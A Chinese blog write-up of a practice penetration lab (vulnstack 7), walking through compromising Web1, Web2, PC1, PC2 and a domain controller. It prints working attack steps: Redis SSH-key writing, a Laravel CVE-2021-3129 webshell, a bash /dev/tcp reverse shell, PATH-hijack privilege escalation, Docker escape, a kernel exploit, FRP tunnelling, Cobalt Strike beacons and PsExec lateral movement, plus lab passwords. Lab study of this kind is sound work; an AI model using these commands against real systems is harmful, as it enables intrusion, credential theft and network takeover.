万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程-CS上线全部Web1/Web2/PC1/PC2/DC

目录

一、渗透环境

1、网络拓扑

2、角色表

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

②修改Web2的网卡配置

③修改PC1的网卡配置

(2)配置网段

①编辑虚拟网络编辑器

[② vmnet2网卡](#② vmnet2网卡)

[③ vmnet14网卡](#③ vmnet14网卡)

二、信息搜集

1、探测存活主机

2、探测端口

三、Redis渗透

1、生成ssh私钥

2、查看生成公钥文件

3、写入Redis服务器

[(1) 直接连接未授权Redis](#(1) 直接连接未授权Redis)

(2)写入SSH公钥获取服务器权限

4、ssh连接

5、查看Web1的Nginx配置

四、Laravel渗透(Web2)

1、发现Laravel

2、下载PoC

3、执行PoC上传木马

4、下载哥斯拉

5、连接哥斯拉

6、发现Docker环境

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

(2)哥斯拉(Docker)连接5555端口

(3)Web1反弹shell成功(连接Docker)

2、查找find权限

3、分析/home/jobs/shell文件

[(1)file /home/jobs/shell](#(1)file /home/jobs/shell)

(2)发现源码文件

(3)尝试直接执行shell程序

5、环境变量提权

(1)命令详解

(2)实操提权

6、交互式会话

7、Docker逃逸准备

(1)特权模式检测

(2)查看分区

(3)挂载文件系统

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

(2)向Web2写入公钥

(3)Web1连接Web2的ssh成功

六、Web2提权

[1、CVE-2021-3493 PoC下载](#1、CVE-2021-3493 PoC下载)

2、Web2上创建PoC文件

3、编译执行PoC提权

七、Web1上传Fscan探测内网1

1、上传fscan

2、fscan探测192.168.52.0/24网段

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

(2)kali执行frps

2、客户端(Web跳板机)

(1)配置文件frpc.ini

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

[九、PC1渗透(通达OA 走stoway代理)](#九、PC1渗透(通达OA 走stoway代理))

1、访问PC1的8080端口

2、OA工具箱渗透

(1)配置代理

(2)扫描探测

(3)写入木马

3、连接冰蝎木马(冰蝎需要配置代理)

4、发现第二层内网192.168.93.0/24

十、添加路由

1、kali添加路由

2、Web1添加转发功能

3、Web2添加路由

4、PC1添加路由

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

[3、使用genCrossC2.Win生成linux beacon](#3、使用genCrossC2.Win生成linux beacon)

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

十二、CS上线Web2(路由)

1、web2上传baecon

2、web2运行baecon

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

[(1)添加cs http beacon监听](#(1)添加cs http beacon监听)

(2)生成木马Payload

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

3、CS上线PC1的baecon

(1)CS上线PC1

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

[十四、CS上线DC(PSexec via PC1 smb)](#十四、CS上线DC(PSexec via PC1 smb))

[十五、CS上线PC2(PSexec via DC smb)](#十五、CS上线PC2(PSexec via DC smb))

十六、总结


本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过Redis未授权渗透获取Web1跳板机权限;利用Laravel(CVE-2021-3129)渗透Web2服务器并实现Docker逃逸;配置FRP反向代理连通内网;使用fscan进行内网探测;通过CS工具上线多个内网主机;最终利用永恒之蓝和Psexec/SMB攻陷域控DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径,涉及Redis、Laravel、Docker逃逸等多种渗透技术。具体如下所示。

  • Web1 (外网跳板机) - 信息收集 : 通过端口扫描发现并利用 Redis 未授权访问渗透。

  • Web1 (外网跳板机) - 获取权限 : 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。

  • Web1 (外网跳板机) - 内网探测 : 上传fscan进行内网扫描,发现192.168.52.0/24网段。

  • Web2 (内网1) - 渗透利用 : 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129渗透。

  • Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。

  • Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。

  • Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。

  • Kali(攻击机)-Web1 (外网跳板机) - 反向代理:使用FRP搭建反向代理连通内网1。

  • PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。

  • Kali-Web1-PC1 (内网1) - 路由转发 : 通过添加路由使PC1、Web2与Kali可以互通。

  • Web1 (外网跳板机) - CS上线 : 通过向Web1上传baecon并执行,CS上线Web1权限。

  • Web2(内网1)- CS上线 :通过向Web2传上传baecon并执行,CS上线Web2权限。

  • PC1 (内网1) - CS上线 : 通过向PC1上传baecon并执行,CS上线PC1权限。

  • PC1 (内网1) - 域控信息搜集 : 搜集密码信息与域信息,获取域管理员账户密码。

  • DC(内网2) - CS上线 : 通过SMB中转会话和PSexec上传DC域控。

  • PC (内网2) -CS上线 :通过SMB中转会话和PSexec上传DC域控。

一、渗透环境

1、网络拓扑

外部网络:

  • Kali攻击机:Vmnet8-192.168.59.128
  • DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10

第一层内部网络:

  • Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
  • PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
  • 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

  • 外网突破 :Kali 利用 Web1 的 Redis未授权(192.168.52.10) 获得首个立足点。

  • 内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。

  • 向内网2渗透 :利用 Web2PC1双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。

  • 内网2攻击 :最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。

节点 IP地址 角色 渗透路径中的作用
Kali攻击机 192.168.59.128 (Vmnet8) 攻击发起源 从外网发起攻击的起点
Web1跳板机 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) 初始入口 Redis未授权访问 第一层跳板,连接外网与内网1
Web2服务器 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) Laravel应用 & Docker 双网卡网关 第二层跳板,连接内网1与内网2
PC1 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) 通达OA系统 双网卡主机 辅助跳点,连接内网1与内网2
PC2 (目标) 192.168.93.40 (Vmnet14) 存在MS17-010(永恒之蓝) 内网2核心攻击目标之一
DC (目标) 192.168.93.30 (Vmnet14) 域控制器,存在Psexec/SMB 内网2最终攻击目标

3 、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

将桥接的网卡改为NAT和VMnet2,如下所示。

开启redis服务,如下所示。

redis-server /etc/redis.conf

启动 Nginx 服务

/usr/sbin/nginx -c /etc/nginx/nginx.conf

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

②修改Web2的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

  • sudo service docker start
  • sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示。

复制代码
http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

③修改PC1的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021

复制代码
C:\MYOA\bin\AutoConfig.exe

另外,还需关闭这台机器的fw,否则无法访问其8080端口。

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

(2)配置网段

①编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡

将vmnet2网段改为192.168.52.0/24,如下所示。

③ vmnet14网卡

添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24 发现ip地址为192.168.59.141,如下所示。

复制代码
nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81

复制代码
nmap --A 192.168.59.141

三、Redis渗透

1、生成ssh私钥

在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。

|------------------------------|
| # 执行密钥生成命令 ssh-keygen -t rsa |

2、查看生成公钥文件

进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥 (必须严格保密),而~/.ssh/id_rsa.pub公钥**(可以分发),查询公钥内容如下所示。**

复制代码
cat ~/.ssh/id_rsa.pub    

3、写入Redis服务器

(1) 直接连接未授权Redis

使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。

复制代码
redis-cli --h 192.168.59.141

(2)写入SSH公钥获取服务器权限

将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。

复制代码
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

4、ssh连接

ssh root@192.168.59.141 -i ~/.ssh/id_rsa

为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。

5、查看Web1的Nginx配置

在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。

复制代码
cd /etc/nginx/conf.d/
cat 81.conf

查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web

2服务器的8000端口。

四、Laravel渗透(Web2)

本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。

1、发现Laravel

我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。

复制代码
http://192.168.59.141:81

2、下载PoC

复制代码
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行PoC上传木马

进入PoC所在的目录,执行PoC上传木马,命令如下所示。

复制代码
python laravel-CVE-2021-3129-EXP.py  http://192.168.59.141:81

这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

4、下载哥斯拉

由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。

复制代码
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉

通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。

添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。

点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。

6、发现Docker环境

通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。

执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。

(2)哥斯拉(Docker)连接5555端口

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'

(3)Web1反弹shell成功(连接Docker)

如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。

2、查找find权限

在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。

find / -perm -u=s -type f 2>/dev/null

如下所示,我们发现**/home/jobs/shell文件,这** 是一个设置了SUID权限 的可执行程序,并且其属主是 root

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。

(2)发现源码文件

由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。

使用命令cat /home/jobs/demo.c查看文件内容并分析,该C程序通过setuid(0)和setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令。具体如下所示。

(3)尝试直接执行shell程序

我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。

5、环境变量提权

(1)命令详解

我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。

|-----------------------------------------------------------------------------------------------------|
| cd /tmp echo "/bin/bash" > ps chmod 777 ps echo PATH export PATH=/tmp:PATH cd /home/jobs ./shell |

  • 准备恶意程序

    • cd /tmp - 进入可写目录

    • echo "/bin/bash" > ps - 创建一个名为 ps 的文件,内容为 /bin/bash

    • chmod 777 ps - 赋予该文件所有用户可执行权限

  • 劫持系统命令路径

    • echo $PATH - 查看当前系统的命令搜索路径

    • export PATH=/tmp:$PATH - 关键步骤 :将 /tmp 目录添加到 PATH 环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在 /tmp 目录下寻找

  • 触发执行并提权

    • cd /home/jobs

    • ./shell - 执行这个SUID程序,

(2)实操提权

执行shell后输入id和whoami,如下所示,提权成功。

./shell 被执行时,以下过程在后台发生:

  • 由于 shell 文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。

  • 假设在这个 shell 程序的代码中,存在类似 system("ps"); 的调用。它需要执行 ps 命令。

  • 程序会向系统请求:"请帮我运行 ps 命令"。

  • 系统收到请求后,继承当前Shell的环境变量 (包括已被我们篡改的 PATH),开始寻找名为 ps 的可执行文件。

  • 系统按照 PATH 的顺序查找:

    • 首先在 /tmp 目录中寻找。

    • 立刻找到了我们创建的 /tmp/ps 文件。

    • 查找停止 ,系统不会再去 /bin/usr/bin 寻找真正的 ps 命令。

  • 系统执行 /tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马 ps)也继承了 root 权限

  • /tmp/ps 文件的内容是 /bin/bash,因此系统实际执行的是 /bin/bash

6、交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker逃逸准备

(1)特权模式检测

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着容器将获得 Linux 内核的所有 能力。容器可以访问主机上的所有设备。通过cat /proc/self/status | grep CapEff查看能力值,若 返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。

(2)查看分区

通过fdisk -l获知宿主机磁盘为/dev/sda,具体如下所示。

(3)挂载文件系统

确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

复制代码
mkdir /ljn
mount /dev/sda1 /ljn

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。

复制代码
ssh-keygen -f ljn

(2)向Web2写入公钥

我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。

复制代码
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys

​​

(3)Web1连接Web2的ssh成功

Web1使用ssh -i ljn ubuntu@192.168.52.20命令连接宿主机,需要先将ljn私钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。

复制代码
chmod 600 ljn #赋予权限
ssh  -i ljn ubuntu@192.168.52.20

如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。

六、Web2提权

1、 CVE-2021-3493 PoC下载

CVE-2021-3493是Linux内核中的一个高危本地权限提升的安全风险,它主要影响Ubuntu系统。攻击者可以利用此它从普通用户权限提升至root权限。

https://github.com/briskets/CVE-2021-3493

2、Web2上创建PoC文件

首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。

3、编译执行PoC提权

首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该PoC利用程序,通过执行内核级PoC利用代码实现从普通用户到root权限的本地提权,如下所示提权成功

复制代码
gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn

七、Web1上传Fscan探测内网1

1、上传fscan

由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段

这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测与扫描,旨在快速发现存活主机、开放端口及潜在安全风险。

复制代码
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

FRP服务端监听端口 7000,负责与FRP客户端建立控制通道。

|-----------------|
| bindPort = 7000 |

(2)kali执行frps

./frps -c frps.ini

2、客户端(Web跳板机)

  • 核心角色:FRP客户端与服务提供端。

  • 连接配置 :指向Kali服务器(server_addr = 192.168.59.128:7000)。

  • 服务定义 :创建了一个名为 [socks5] 的代理服务。

    • 类型type = tcp

    • 出口端口remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。

    • 插件plugin = socks5,直接提供Socks5代理协议支持。

  • 功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。

(1)配置文件frpc.ini

frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件,用于建立 socks5 代理连接至服务端。

|----------------------------------------------------------------------------------------------------------------------|
| [common] server_addr = 192.168.59.128 server_port = 7000 [socks5] type = tcp remote_port = 12347 plugin = socks5 |

  • socks 端口remote_port = 12347,即通过此端口提供 socks5 代理服务。
  • 代理角色:frp 客户端通过配置的 socks5 插件,结合服务端(地址 192.168.59.128:7000)建立连接,最终由 frp 服务端侧通过 12347 端口对外提供 socks5 代理能力,客户端作为代理的发起和中转节点,服务端则是代理的对外接入点。

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

九、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透

(1)配置代理

这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)扫描探测

左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马

接下来我们点击"文件上传",在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。

复制代码
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)

使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

复制代码
​URL地址:
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
密码 rebeyond

如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24

如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

十、添加路由

此时我们已经拿到Web1服务器(跳板机)、Web2服务器(内网1)、PC1(内网1)的控制权。

1、kali添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

2、Web1添加转发功能

sysctl -w net.ipv4.ip_forward=1

3、Web2添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

4、PC1添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

确保genCrossC2.Win目录中的key与cs server端的key值相同,需要将服务端key文件复制到genCrossC2.Win目录中,具体操作方法如下所示。

3、使用genCrossC2.Win生成linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

如下所示,Web1上线,内网ip地址为192.168.52.0/24网段.

十二、CS上线Web2(路由)

1、web2上传baecon

在web1的baecon文件ljn-10050.out目录中执行

python3 -m http.server 8888

web2下载ljn-10050.out

2、web2运行baecon

运行ljn-10050.out

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

(1)添加cs http beacon监听

添加cs监听器,选择 payload 类型(Beacon HTTP ),并配置回连的IP地址(团队服务器的IP地址:192.168.59.128 )和端口(10087 任意不冲突即可)。

(2)生成木马Payload

payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下, 选择"Windows可执行文件(Stageless)",如下图所示。

选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。

这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

mooyuan2008-http-x64.exe

3、CS上线PC1的baecon

(1)CS上线PC1

这一步防止不稳定,可以提权一下

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

cs新建SMB监听,如下所示。

点击保存后监听列表中增加ljn-smb监听,如下所示。

十四、CS上线DC(PSexec via PC1 smb)

这步做之前,先还原快照(或者手动打开防火墙),确保环境是原始没有关闭防火墙版本的。

十五、CS上线PC2(PSexec via DC smb)

十六、总结

正常应该都是活动的,我这里因为电脑太卡了,对PC1和PC2、DC关机了,

图示化如下所示。

相关推荐
0DayHP6 天前
HTB:MonitorsFour[WriteUP]
网络安全·内网渗透·web渗透
Bruce_Liuxiaowei7 天前
网络连通性实战:如何判断进出口流量能否通行
网络·网络安全·内网渗透
-曾牛7 天前
域渗透:域控攻击全流程详解(含多种新型漏洞利用)
网络安全·渗透测试·内网渗透·漏洞复现·域渗透·原理解析·域控攻击
0DayHP12 天前
HTB:Eighteen[WriteUP]
网络安全·内网渗透·web渗透
mooyuan天天21 天前
万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程3-MSF上线PC2/DC域控
内网渗透·横向移动·红日靶场·红日靶场7
mooyuan天天21 天前
万字讲解内网横向渗透vulnstack(四):红日靶场4实战全流程1-环境搭建+MSF控制Web服务器+Docker逃逸(CVE-2018-12613)
内网渗透·横向移动·红日靶场4·docker逃逸
mooyuan天天22 天前
万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程2-MSF上线Web1/Web2/PC1
内网渗透·横向移动·红日靶场·红日靶场7
mooyuan天天23 天前
万字讲解内网横向渗透vulnstack(四):红日靶场4实战全流程3-横向移动 zerologon法(CVE-2020-1472)
frp·内网渗透·横向移动·fscan·红日靶场·zerologon·cve-2020-1472
mooyuan天天23 天前
万字讲解内网横向渗透vulnstack(三):红日靶场3实战全流程(Zerologon法 CVE-2020-1472)
内网渗透·横向移动·红日靶场·红日靶场3·joomla漏洞·zerologon·cve-2020-1472